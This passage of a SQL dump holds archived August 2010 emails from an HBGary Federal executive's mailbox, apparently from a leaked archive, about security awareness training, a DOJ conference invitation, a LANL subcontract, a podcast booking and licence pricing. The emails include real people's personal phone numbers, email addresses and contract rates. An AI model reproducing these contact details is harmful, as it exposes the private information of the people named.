}\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',16887,'aaron_hbgary_com/16887.html'),(10751,'2010-08-23','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008288.M34550P14101Q5606.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reqs meeting','\r\n\r\n\r\n\r\n\r\nReqs meeting\r\n\r\n\r\n\r\n\r\nWhen: Monday, August 23, 2010 10:00 AM-10:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF3 3-d\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nReview reqs \r\n\r\nReview updated Staffing plan\r\n\r\n\r\n',417,'aaron_hbgary_com/417.html'),(10752,'2010-08-23','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008288.M577960P14101Q5607.eml','aaron@hbgary.com,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','Experience Matrix - Please review','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached below are the updated experience items across the\r\nentire team.&nbsp; Note this is just Experiences &#8211; we&#8217;re using a diff\r\nformat for the Resources and Tools.\r\n\r\n&nbsp;\r\n\r\nPlease review this and email back any additions, mods, or\r\nchanges by COB today, Monday.&nbsp; I had to do some fairly heavy\r\nediting to get a consistent, pithy set of experiences, so I definitely need\r\nyour review!\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11108,'aaron_hbgary_com/11108.html'),(10753,'2010-08-23','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297008288.M790394P14101Q5608.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Social Media Security Awareness Training for DigitalGlobe','Hi Ted,\r\n\r\nDo you and  Aaron have any availability tomorrow (Tuesday) morning?\r\n\r\nI am anxious to move forward with some type of general user training\r\nasap.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Saturday, August 21, 2010 2:00 PM\r\nTo: Daniel Collender\r\nCc: Barr Aaron\r\nSubject: Re: Social Media Security Awareness Training for DigitalGlobe\r\n\r\nHello Dan,\r\n\r\nAaron Barr (cc\'d) and I are excited to discuss your training needs\r\nearly next week. We can definitely tailor the course material to suite\r\nyour vision below. Aaron is TS/SCI cleared and has presented a similar\r\n2hr talk at NSA. When is a good time for the three of us to get on a\r\nconference call to discuss?\r\n\r\nRegards,\r\nTed Vera\r\n719-237-8623\r\n\r\nOn Aug 21, 2010, at 12:14 PM, Daniel Collender\r\n wrote:\r\n\r\n> Hi Ted,\r\n>\r\n>\r\n>\r\n> Brian Coulson briefed me on the many HB Gary training/awareness\r\noptions available to organizations like DigitalGlobe a few weeks back.\r\n>\r\n>\r\n>\r\n> Brian is working closely with Maria on the technology solutions front,\r\nso I was hoping I could work with you on the training/awareness front.\r\n>\r\n>\r\n>\r\n> DigitalGlobe is currently developing security awareness training for\r\nall company personnel. We do of course have mandatory security training\r\nfor our cleared personnel, but need to begin  bringing the uncleared\r\nfolks up to speed as well.\r\n>\r\n>\r\n>\r\n> I would like to organize a series of  mandatory \"Security Awareness\"\r\nbriefings for all company personnel (about 600 people currently, the\r\nmajority of which are in two facilities in Longmont, CO). The initial\r\nsession would focus on Social Media Threats ( with some emphasis on\r\nPhishing/Spear Phishing/Spam). It is critical that we use this training\r\nopportunity to convey the seriousness of the threat to our staff and I\r\nwould appreciate some help from your team to ensure are accomplish that\r\ngoal. I would like to go as far as using a real world example (perhaps\r\nmyself or someone from my team) to demonstrate how recognizance can be\r\nperformed by a bad actor against a DigitalGlobe employee and the\r\ninformation gathered can be used to infiltrate the company through\r\nsocial engineering, spear phishing, etc.... Also, we are working on\r\ndeveloping policy in this area so we could integrate the new policy into\r\nthe sessions.\r\n>\r\n>\r\n>\r\n> My original thought was to have a series of one or two hour sessions\r\n(is that enough time?) divided into Class and Unclass. This way we can\r\nintroduce classified content, if available, into the classified only\r\nsessions.\r\n>\r\n>\r\n>\r\n> I am also interested in the full-day training and executive briefings,\r\nbut the urgent need is to get the entire DigitalGlobe user population\r\ntrained on how they can protect the company and themselves from these\r\ntypes of threats.\r\n>\r\n>\r\n>\r\n> Would you have sometime early next week to discuss possible options?\r\n>\r\n>\r\n>\r\n> Thanks so much for your time.\r\n>\r\n>\r\n>\r\n> Best,\r\n>\r\n> Dan Collender\r\n>\r\n> Manager, IT Security & Compliance\r\n',4422,'aaron_hbgary_com/4422.html'),(10754,'2010-08-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008289.M10541P14101Q5609.eml','\"Bushar, Ronald (JMD)\" <Ronald.Bushar@usdoj.gov>,\"Bushar, Ronald (JMD)\" <Ronald.Bushar@usdoj.gov>,,,','Re: 2011 DOJ Cyber Security Conference','Hi Ron\r\n \r\nWe are honored to be asked!\r\n \r\nKaren Burke is our marketing manager.  She will work with you to schedule a speaker and pin down a topic.  We have a &quot;sister&quot; company HBGary Federal and I&#39;ll include them. Their focus is Services and Social Engineering Training -- they will reach out as well.\r\n\r\n \r\nMaria\r\n \r\nOn Mon, Aug 23, 2010 at 5:42 AM, Bushar, Ronald (JMD) &lt;Ronald.Bushar@usdoj.gov&gt; wrote:\r\n\r\n\r\nHi Maria,\r\n \r\nI know we are in the middle of the pilot stuff, but I wanted to reach out on another front.  The Department is hosting a Cyber Security Conference early next year, and I was wondering if you would be willing to consider having an HBGary representative speak at the conference.   The conference dates are 8-9 February 2011 and the theme is: DOJ Cyber Security &quot;Leveraging a Collaborative Defense.&quot;   The conference will feature managerial and technical tracks with tracks typically 45 minutes to an hour in length.  As with this year&#39;s conference, we are trying to include topics which provide our security professionals practical information (e.g. something they can apply to their work).  Topics will need to be submitted for review and approval.\r\n\r\n \r\nIf you&#39;re interested please let me know and thanks for your consideration.\r\n \r\nBest Regards,\r\nRon\r\n \r\n__________________________________________\r\nRonald Bushar\r\nDeputy Director | Justice Security Operations Center\r\nDepartment of Justice\r\nron.bushar@usdoj.gov\r\nO: 202.353.8907 | M: 202.598.9326\r\nDOJCERT: 202.307.5332\r\n \r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',4488,'aaron_hbgary_com/4488.html'),(10755,'2010-08-23','\"Bushar, Ronald (JMD)\" <Ronald.Bushar@usdoj.gov>','/aaron@hbgary.com/new/1297008289.M222167P14101Q5610.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,','RE: 2011 DOJ Cyber Security Conference','\r\n\r\n\r\n\r\n\r\nThanks Maria!\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: 23 August, 2010 11:29To: Bushar, Ronald \r\n(JMD)Cc: Rich Cummings; Aaron Barr; Ted Vera; Karen \r\nBurkeSubject: Re: 2011 DOJ Cyber Security \r\nConference\r\n\r\nHi Ron\r\n&nbsp;\r\nWe are honored to be asked!\r\n&nbsp;\r\nKaren Burke is our marketing manager.&nbsp; She will work with you to \r\nschedule a speaker and pin down a topic.&nbsp; We have a \"sister\" company HBGary \r\nFederal and I\'ll include them.&nbsp;Their focus is Services and Social \r\nEngineering Training -- they will reach out as well.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nOn Mon, Aug 23, 2010 at 5:42 AM, Bushar, Ronald (JMD) \r\n&lt;Ronald.Bushar@usdoj.gov&gt; \r\nwrote:\r\n\r\n  \r\n  Hi Maria,\r\n  &nbsp;\r\n  I know we are in the middle of the pilot stuff, but I wanted to reach out \r\n  on another front.&nbsp; The Department is hosting a Cyber Security Conference \r\n  early next year, and I was wondering if you would be willing to consider \r\n  having an HBGary representative speak at the conference.&nbsp;&nbsp; The \r\n  conference dates are 8-9 February 2011 and the theme is: DOJ Cyber Security \r\n  \"Leveraging a Collaborative Defense.\"&nbsp;&nbsp; The conference will feature \r\n  managerial and technical tracks with tracks typically 45 minutes to an hour in \r\n  length.&nbsp; As with this year\'s conference, we are trying to include topics \r\n  which provide our security professionals practical information (e.g. something \r\n  they can apply to their work).&nbsp; Topics will need to be submitted for \r\n  review and approval.\r\n  &nbsp;\r\n  If you\'re interested please let me know and thanks for your \r\n  consideration.\r\n  &nbsp;\r\n  Best Regards,\r\n  Ron\r\n  &nbsp;\r\n  __________________________________________\r\n  Ronald \r\n  Bushar\r\n  Deputy Director | Justice \r\n  Security Operations Center\r\n  Department of \r\n  Justice\r\n  ron.bushar@usdoj.gov\r\n  O: 202.353.8907 | M: \r\n  202.598.9326\r\n  DOJCERT: \r\n  202.307.5332\r\n  &nbsp;\r\n  &nbsp;-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell \r\nPhone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: \r\n240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',16008,'aaron_hbgary_com/16008.html'),(10756,'2010-08-23','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297008290.M136405P14101Q5611.eml','\"Ted Vera\" <ted@hbgary.com>,\"aaron@hbgary.com\" <\'aaron@hbgary.com\'>,\"Ted Vera\" <ted@hbgary.com>,\"aaron@hbgary.com\" <\'aaron@hbgary.com\'>','FW: LANL','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nI believe this still is not signed and returned to us which\r\nmeans you are at risk.&nbsp; Can you have someone at HbGary sign and send to us\r\ntoday?&nbsp; \r\n\r\n&nbsp;\r\n\r\nWhen we bill LANL, they will want weekly timesheets.&nbsp; Can\r\nyou send me at the end of the week a weekly timesheet (hours by day) to me by\r\nresource for approval?&nbsp; Thanks \r\n\r\n&nbsp;\r\n\r\nJerry\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Harllee \r\nSent: Wednesday, August 18, 2010 2:14 PM\r\nTo: Jerry McClure\r\nCc: Ira Entis\r\nSubject: FW: LANL\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJerry &#8211; can you reach out to this guy and make sure he is\r\non this &#8211; I don&#8217;t have his contact info. . .\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Harllee \r\nSent: Wednesday, August 18, 2010 10:32 AM\r\nTo: \'aaron@hbgary.com\'\r\nCc: \'ted@hbgary.com\'; Ira Entis; Jerry McClure\r\nSubject: LANL\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron &#8211; please find attached the subcontract for provision\r\nof services by HB Gary under Agilex&#8217; contract with LANL.&nbsp; Basically\r\n150 hours at $194/hr plus travel, work initiating on the 23rd of\r\nAugust.&nbsp; Any questions or concerns, I am available at your convenience at\r\n703.889.3854.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks much.\r\n\r\n&nbsp;\r\n\r\nj\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14644,'aaron_hbgary_com/14644.html'),(10757,'2010-08-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008290.M385770P14101Q5612.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: 2011 DOJ Cyber Security Conference','Aaron / Ted\r\n \r\nI was thinking you could offer a track on social engineering training and make contacts at DOJ?\r\n \r\nMaria\r\n---------- Forwarded message ----------From: Bushar, Ronald (JMD) &lt;Ronald.Bushar@usdoj.gov&gt;\r\nDate: Mon, Aug 23, 2010 at 8:30 AMSubject: RE: 2011 DOJ Cyber Security ConferenceTo: Maria Lucas &lt;maria@hbgary.com&gt;Cc: Rich Cummings &lt;rich@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;, Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\n\r\n\r\nThanks Maria!\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: 23 August, 2010 11:29To: Bushar, Ronald (JMD)Cc: Rich Cummings; Aaron Barr; Ted Vera; Karen Burke\r\nSubject: Re: 2011 DOJ Cyber Security Conference\r\n\r\n\r\n\r\n\r\nHi Ron\r\n \r\nWe are honored to be asked!\r\n \r\nKaren Burke is our marketing manager.  She will work with you to schedule a speaker and pin down a topic.  We have a &quot;sister&quot; company HBGary Federal and I&#39;ll include them. Their focus is Services and Social Engineering Training -- they will reach out as well.\r\n\r\n \r\nMaria\r\n \r\nOn Mon, Aug 23, 2010 at 5:42 AM, Bushar, Ronald (JMD) &lt;Ronald.Bushar@usdoj.gov&gt; wrote:\r\n\r\n\r\nHi Maria,\r\n \r\nI know we are in the middle of the pilot stuff, but I wanted to reach out on another front.  The Department is hosting a Cyber Security Conference early next year, and I was wondering if you would be willing to consider having an HBGary representative speak at the conference.   The conference dates are 8-9 February 2011 and the theme is: DOJ Cyber Security &quot;Leveraging a Collaborative Defense.&quot;   The conference will feature managerial and technical tracks with tracks typically 45 minutes to an hour in length.  As with this year&#39;s conference, we are trying to include topics which provide our security professionals practical information (e.g. something they can apply to their work).  Topics will need to be submitted for review and approval.\r\n\r\n \r\nIf you&#39;re interested please let me know and thanks for your consideration.\r\n \r\nBest Regards,\r\nRon\r\n \r\n__________________________________________\r\nRonald Bushar\r\nDeputy Director | Justice Security Operations Center\r\nDepartment of Justice\r\nron.bushar@usdoj.gov\r\nO: 202.353.8907 | M: 202.598.9326\r\nDOJCERT: 202.307.5332\r\n \r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',5605,'aaron_hbgary_com/5605.html'),(10758,'2010-08-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008290.M614609P14101Q5613.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Ted is great and IBM','I can&#39;t tell you how much I enjoyed working with Ted this week.  Ted was especially great with the CISO at IBM.  Ted, I was thinking that Linda Betz is the right person to promote social engineering training at IBM\r\n\r\n \r\nWhy don&#39;t you send her a hey great meeting you and by the way this is something we are very excited about and could offer via webex for IBM and then invite her to a free audit class....  we know they can&#39;t travel to training and they are goegraphically dispersed.....  I think it would be a great add-on for Webex training but also for Executive Retreats.\r\n\r\n \r\ncc: Maria\r\n \r\nWhat do you think?-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',7982,'aaron_hbgary_com/7982.html'),(10759,'2010-08-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008292.M370157P14101Q5614.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: LANL','Begin forwarded message:From: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\nTo: &#39;Ted Vera&#39; &lt;ted@hbgary.com&gt;, &quot;&#39;aaron@hbgary.com&#39;&quot; &lt;&#39;aaron@hbgary.com&#39;&gt;\r\nCc: Ira Entis &lt;Ira.Entis@agilex.com&gt;, John Harllee &lt;John.Harllee@agilex.com&gt;Subject: FW: LANL\r\nTed,I believe this still is not signed and returned to us which means you are at risk.  Can you have someone at HbGary sign and send to us today?\r\nWhen we bill LANL, they will want weekly timesheets.  Can you send me at the end of the week a weekly timesheet (hours by day) to me by resource for approval?  ThanksJerry\r\nFrom: John HarlleeSent: Wednesday, August 18, 2010 2:14 PMTo: Jerry McClureCc: Ira EntisSubject: FW: LANL\r\nJerry - can you reach out to this guy and make sure he is on this - I don&#39;t have his contact info. . .From: John HarlleeSent: Wednesday, August 18, 2010 10:32 AM\r\nTo: &#39;aaron@hbgary.com&#39;Cc: &#39;ted@hbgary.com&#39;; Ira Entis; Jerry McClureSubject: LANL\r\nAaron - please find attached the subcontract for provision of services by HB Gary under Agilex&#39; contract with LANL.  Basically 150 hours at $194/hr plus travel, work initiating on the 23rd of August.  Any questions or concerns, I am available at your convenience at 703.889.3854.\r\nThanks much.j\r\n',7992,'aaron_hbgary_com/7992.html'),(10760,'2010-08-23','\"Bart Hopper\" <bart.hopper@gmail.com>','/aaron@hbgary.com/new/1297008292.M607631P14101Q5615.eml','aaron@hbgary.com','Securabit Information Security Podcast','Aaron,Would you be available for the Securabit podcast on Wednesday, September 22 at 8:00pm Eastern time? Since Jason forwarded me the e-mail, I assume you are familiar with the podcast.We record on alternate Wednesday nights at 8:00 Eastern time. We prefer to use Skype if possible. For audio quality purposes, it is recommended that you not use the microphone and speakers built-in to a notebook computer. (Inexpensive mic headsets that cost as little as $15 work fine) The show recording takes about 1 1/2 hours but is edited down (to remove dead air, noise, etc) to about an hour. The shows are generally released on the following Monday. During the show, the hosts and limited number of live listeners chat in the IRC channel irc://irc.freenode.net#securabit. Feel free to join if you wish.\r\nCan I get some information to setup the appearance on the calendar?Skype name:Backup phone number:e-mail address:Twitter id: (if you have one)If you have any questions, please let me know.\r\n\r\nRegards,Bart &quot;d4ncingd4n&quot; HopperAaron,Bart is our PR guy for the show and he&#39;ll be able to set\r\nup a time that works best for you.  Please let me know if you have any\r\nquestions and I&#39;ll be sure to help out where needed.  Bart,\r\nCan you please schedule Aaron Barr, CEO of HBGary Federal, to talk about their products and upcoming events on their end.Looking forward to another great show!R/Jason MuellerCo-founder of SecuraBit LLC\r\nwww.SecuraBit.comOn Wed, Aug 18, 2010 at 10:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Jason,\r\n\r\nThanks for the response.  Its a small community so please definitely stay in contact and I&#39;ll do the same.\r\nSure lets get on the phone or meet and talk about\r\nthe podcast, I can tell you a little about what we are up to and go\r\nfrom there.Let me know some good times.\r\nAaronOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:\r\nAaron,Thanks\r\nfor your interest and yes I&#39;m familiar with HBGary. Our RE guys used it\r\nat my last customer site.  I just left Symantec in April and jumped on\r\nwith ArcSight which seems to be working out quite well. I&#39;ll keep your\r\ninfo handy and I&#39;m sure we&#39;ll bump into one another at some point in\r\nthe near future. In the meantime, any interest in sharing your product\r\nand thoughts with the SecuraBit podcast?  Let me know and I&#39;ll get a\r\ndate that works best for you. We record every other Wednesday at 8pm\r\nand average roughly 5k downloads per show.  Check out www.SecuraBit.com to see a list of prior guests. \r\nR/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.com\r\nCell: (540) 842-7019\r\n5 Results WayCupertino, CA 95014www.ArcSight.comSent from my iPhone, please excuse typos. \r\n\r\nArcSight Protect &#39;10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!\r\n\r\nOn Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\nAaron Barr has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n  Hey Jason,\r\n\r\nThanks for accepting. I am not sure if you know much about HBGary or\r\nHBGary Federal. Leading HBGary Federal I am focused on improving\r\ncybersecurity leveraging key people, partnerships, technologies, and\r\nprocesses. I am looking to fill some key positions and would like to\r\ndiscuss them with you if your interested, if not at this time, no\r\nproblem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\n\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\nThank You,\r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\n\r\nView/reply to this message\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n© 2010, LinkedIn Corporation\r\n',16854,'aaron_hbgary_com/16854.html'),(10761,'2010-08-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008292.M833123P14101Q5616.eml','\"John Harllee\" <John.Harllee@agilex.com>,\"John Harllee\" <John.Harllee@agilex.com>,,','Re: LANL','Hi John\r\n\r\nI have two questions about the insurance reqts. We do not have any\r\ncompany owned autos, I called my business insurance agent and he\r\nthought that since we have no company cars that we do not need\r\ninsurance. Also, we have $2M in GL, $1M per occurrence. If this is\r\ninsufficient, then i can have the policy adjusted effective today,\r\nalong with the $2m umbrella. Our existing work mans comp is compliant.\r\n\r\nTed\r\n\r\nOn Wednesday, August 18, 2010, John Harllee  wrote:\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Aaron – please find attached the subcontract for provision\r\n> of services by HB Gary under Agilex’ contract with LANL.  Basically\r\n> 150 hours at $194/hr plus travel, work initiating on the 23rd of\r\n> August.  Any questions or concerns, I am available at your convenience at\r\n> 703.889.3854.\r\n>\r\n>\r\n>\r\n> Thanks much.\r\n>\r\n>\r\n>\r\n> j\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',9196,'aaron_hbgary_com/9196.html'),(10762,'2010-08-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008293.M297281P14101Q5618.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: University of OK','Ted\r\n \r\nJim handles the University licenses when they are for &quot;training purposes&quot;  We don&#39;t have educational discounts.\r\n \r\nI will call Sean and follow up.\r\n \r\nThanks,\r\nMaria\r\nOn Fri, Aug 20, 2010 at 10:53 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nI just received a call from Sean Ensz who works for the University ofOK IT Security. They are interested in obtaining pricing for 3\r\nResponder Pro licenses for their student lab. Do we offer educationaldiscounts?  They are also interested in 3 Responder Field Ed licenses.He would Ike an evaluation license as well.If you can answer these questions I can call him back, or feel free to\r\ncontact him directly.His contact info is below.405-325-3954Ensz@ou.eduTed-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n',4381,'aaron_hbgary_com/4381.html'),(10763,'2010-08-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008293.M517949P14101Q5619.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: University of OK','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThey only get educational copies for labs if they have a\r\nprogram, this needs to be determined by rep.&nbsp; We can give a 50% discount for\r\nuse in a lab if they arena&#8217;t teaching our program.&nbsp; We are only going to work\r\nwith a handful of schools on this basis.&nbsp; Maria this is yoru area\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Monday, August 23, 2010 9:40 AM\r\nTo: Ted Vera\r\nCc: Slapnik Bob; Leavy Penny; Barr Aaron\r\nSubject: Re: University of OK\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJim handles the University licenses when they are for\r\n&quot;training purposes&quot;&nbsp; We don\'t have educational discounts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will call Sean and follow up.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Aug 20, 2010 at 10:53 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nI just received a call from Sean Ensz who works for the\r\nUniversity of\r\nOK IT Security. They are interested in obtaining pricing for 3\r\nResponder Pro licenses for their student lab. Do we offer educational\r\ndiscounts? &nbsp;They are also interested in 3 Responder Field Ed licenses.\r\nHe would Ike an evaluation license as well.\r\n\r\nIf you can answer these questions I can call him back, or feel free to\r\ncontact him directly.\r\nHis contact info is below.\r\n405-325-3954\r\nEnsz@ou.edu\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15114,'aaron_hbgary_com/15114.html'),(10764,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008293.M59319P14101Q5617.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>,\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Social Media Security Awareness Training for DigitalGlobe','Dan,\r\n\r\nSure thing.  I am open in the morning.  Ted is on an engagement but\r\nwill step out and join if he can.  I have been doing a little SM\r\nresearch on DigitalGlobe over the weekend.\r\n\r\nWhat time works for you?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 23, 2010, at 10:35 AM, \"Daniel Collender\"\r\n wrote:\r\n\r\n> Hi Ted,\r\n>\r\n> Do you and  Aaron have any availability tomorrow (Tuesday) morning?\r\n>\r\n> I am anxious to move forward with some type of general user training\r\n> asap.\r\n>\r\n> Best,\r\n> Dan\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Saturday, August 21, 2010 2:00 PM\r\n> To: Daniel Collender\r\n> Cc: Barr Aaron\r\n> Subject: Re: Social Media Security Awareness Training for DigitalGlobe\r\n>\r\n> Hello Dan,\r\n>\r\n> Aaron Barr (cc\'d) and I are excited to discuss your training needs\r\n> early next week. We can definitely tailor the course material to suite\r\n> your vision below. Aaron is TS/SCI cleared and has presented a similar\r\n> 2hr talk at NSA. When is a good time for the three of us to get on a\r\n> conference call to discuss?\r\n>\r\n> Regards,\r\n> Ted Vera\r\n> 719-237-8623\r\n>\r\n> On Aug 21, 2010, at 12:14 PM, Daniel Collender\r\n>  wrote:\r\n>\r\n>> Hi Ted,\r\n>>\r\n>>\r\n>>\r\n>> Brian Coulson briefed me on the many HB Gary training/awareness\r\n> options available to organizations like DigitalGlobe a few weeks back.\r\n>>\r\n>>\r\n>>\r\n>> Brian is working closely with Maria on the technology solutions front,\r\n> so I was hoping I could work with you on the training/awareness front.\r\n>>\r\n>>\r\n>>\r\n>> DigitalGlobe is currently developing security awareness training for\r\n> all company personnel. We do of course have mandatory security training\r\n> for our cleared personnel, but need to begin  bringing the uncleared\r\n> folks up to speed as well.\r\n>>\r\n>>\r\n>>\r\n>> I would like to organize a series of  mandatory \"Security Awareness\"\r\n> briefings for all company personnel (about 600 people currently, the\r\n> majority of which are in two facilities in Longmont, CO). The initial\r\n> session would focus on Social Media Threats ( with some emphasis 